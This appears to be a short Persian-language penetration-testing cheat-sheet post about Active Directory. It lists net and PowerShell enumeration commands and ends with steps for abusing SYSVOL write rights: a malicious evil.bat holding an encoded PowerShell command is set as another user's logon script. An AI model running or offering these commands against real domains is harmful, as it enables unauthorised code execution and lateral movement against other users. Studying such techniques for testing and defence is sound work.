3. آپلود داده های جمعآوری شده (Upload Collected Data)
پس از اجرا، فایلهای نتیجه (*.json) در دایرکتوری فعلی تولید می شوند. تمام این فایلهای JSON را به BloodHound در مرورگر وب آپلود کنید.
میتوانیم روابط در Active Directory را کاوش کنیم.
بررسی (Investigation)
فهرست همه کاربران
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A
فهرست همه گروهها
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com
فهرست سیاست رمز عبور
net accounts /domain
# فهرست ابجکت ها AD
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com
بازیابی اطلاعات در مورد دامنه داده شده.
Get-ADDomain -Server dc.example.com
تغییر رمز عبور کاربر AD
Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL
یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می کند.
dir \\dc.example.com\SYSVOL\
سوءاستفاده از اسکریپت ورود برای کاربران دیگر (Abuse Logon Script for Other Users)
اگر کاربر فعلی مجوز نوشتن اسکریپت ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت ورود کاربران دیگر را تغییر دهیم.
1. بررسی مجوز
icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\
2. تغییر/اضافه کردن یک اسکریپت مخرب
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat
3. تنظیم اسکریپت ورود برای کاربر مشخصشده
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat
هنگامی که کاربر دیگر وارد سیستم می شود، اسکریپت .bat اجرا خواهد شد.
#NoteADExploit
@KavehOffSec